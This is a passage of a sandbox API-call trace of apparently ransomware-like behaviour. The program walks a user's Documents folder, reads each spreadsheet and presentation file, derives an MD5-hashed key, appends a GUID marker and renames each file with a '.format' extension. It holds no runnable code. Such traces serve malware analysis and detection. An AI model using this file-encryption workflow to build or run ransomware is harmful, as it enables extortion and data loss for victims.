(HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.281] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.281] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.281] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.281] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.282] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.282] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.282] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.282] GetLastError () returned 0x0 [0068.282] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.282] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.282] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf7f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.282] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.282] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.282] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.283] CloseHandle (hObject=0x5c8) returned 1 [0068.284] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.284] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.284] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\evs-mu2XZmDDq_3I.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\evs-mu2xzmddq_3i.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\evs-mu2XZmDDq_3I.ods.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\evs-mu2xzmddq_3i.ods.format")) returned 1 [0068.285] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x329b28e0, ftCreationTime.dwHighDateTime=0x1d4d5a0, ftLastAccessTime.dwLowDateTime=0x5d556260, ftLastAccessTime.dwHighDateTime=0x1d4c9fe, ftLastWriteTime.dwLowDateTime=0x5d556260, ftLastWriteTime.dwHighDateTime=0x1d4c9fe, nFileSizeHigh=0x0, nFileSizeLow=0x148e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hHu6n-WhXpQLeR.ods", cAlternateFileName="HHU6N-~1.ODS")) returned 1 [0068.285] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.285] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.285] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\hHu6n-WhXpQLeR.ods") returned=".ods" [0068.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\hHu6n-WhXpQLeR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\hhu6n-whxpqler.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.285] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=84199) returned 1 [0068.285] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.288] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x148c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.288] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.288] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.288] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x148e7, lpOverlapped=0x0) returned 1 [0068.289] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.289] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.289] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.289] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.289] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.290] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.290] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.290] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.290] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.290] GetLastError () returned 0x0 [0068.290] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.290] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.291] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x148e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.291] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.291] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.291] CloseHandle (hObject=0x5c8) returned 1 [0068.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.292] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\hHu6n-WhXpQLeR.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\hhu6n-whxpqler.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\hHu6n-WhXpQLeR.ods.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\hhu6n-whxpqler.ods.format")) returned 1 [0068.293] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b37220, ftCreationTime.dwHighDateTime=0x1d4ca80, ftLastAccessTime.dwLowDateTime=0x2b8294f0, ftLastAccessTime.dwHighDateTime=0x1d4d1de, ftLastWriteTime.dwLowDateTime=0x2b8294f0, ftLastWriteTime.dwHighDateTime=0x1d4d1de, nFileSizeHigh=0x0, nFileSizeLow=0x765d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mIvI FYocehkz.odp", cAlternateFileName="MIVIFY~1.ODP")) returned 1 [0068.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.294] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\mIvI FYocehkz.odp") returned=".odp" [0068.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\mIvI FYocehkz.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\mivi fyocehkz.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.294] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=30301) returned 1 [0068.294] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.296] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7637, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.296] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.297] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.297] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x765d, lpOverlapped=0x0) returned 1 [0068.297] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.297] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.297] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.297] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.297] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.298] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.298] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.298] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.298] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.298] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.298] GetLastError () returned 0x0 [0068.298] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.298] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.298] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x765d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.299] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.299] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.299] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.299] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.299] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.299] CloseHandle (hObject=0x5c8) returned 1 [0068.300] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edd50 [0068.300] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.300] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\mIvI FYocehkz.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\mivi fyocehkz.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\mIvI FYocehkz.odp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\mivi fyocehkz.odp.format")) returned 1 [0068.301] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7823cb0, ftCreationTime.dwHighDateTime=0x1d4cac9, ftLastAccessTime.dwLowDateTime=0x1b5c2f90, ftLastAccessTime.dwHighDateTime=0x1d4c7a3, ftLastWriteTime.dwLowDateTime=0x1b5c2f90, ftLastWriteTime.dwHighDateTime=0x1d4c7a3, nFileSizeHigh=0x0, nFileSizeLow=0x1864b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NiKTO1C7 RIwfLd.odp", cAlternateFileName="NIKTO1~1.ODP")) returned 1 [0068.301] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.301] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\NiKTO1C7 RIwfLd.odp") returned=".odp" [0068.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\NiKTO1C7 RIwfLd.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\nikto1c7 riwfld.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.301] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=99915) returned 1 [0068.301] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.304] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x18625, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.304] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.304] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.304] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1864b, lpOverlapped=0x0) returned 1 [0068.305] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.305] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.305] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.305] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.305] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.306] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.306] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.306] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.306] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.306] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.306] GetLastError () returned 0x0 [0068.306] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.306] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.307] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1864b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.307] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.307] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.307] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.307] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.307] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.307] CloseHandle (hObject=0x5c8) returned 1 [0068.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.308] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\NiKTO1C7 RIwfLd.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\nikto1c7 riwfld.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\NiKTO1C7 RIwfLd.odp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\nikto1c7 riwfld.odp.format")) returned 1 [0068.309] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31f2fb90, ftCreationTime.dwHighDateTime=0x1d4d3eb, ftLastAccessTime.dwLowDateTime=0x28ae0b10, ftLastAccessTime.dwHighDateTime=0x1d4cca2, ftLastWriteTime.dwLowDateTime=0x28ae0b10, ftLastWriteTime.dwHighDateTime=0x1d4cca2, nFileSizeHigh=0x0, nFileSizeLow=0x154ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vnscV1A42YE34G.ods", cAlternateFileName="VNSCV1~1.ODS")) returned 1 [0068.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.309] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\vnscV1A42YE34G.ods") returned=".ods" [0068.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\FZM1YvnX6BDzLLQ_\\vnscV1A42YE34G.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\fzm1yvnx6bdzllq_\\vnscv1a42ye34g.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.310] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=87211) returned 1 [0068.310] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.312] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x15485, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.312] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.313] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.313] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x154ab, lpOverlapped=0x0) returned 1 [0068.313] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.313] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.313] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.313] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.314] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.314] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.314] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.314] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.314] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.314] GetLastError () returned 0x0 [0068.314] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.314] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.315] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x154ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.315] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.315] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.315] CloseHandle (hObject=0x5c8) returned 1 [0068.316] RtlAllocateHeap 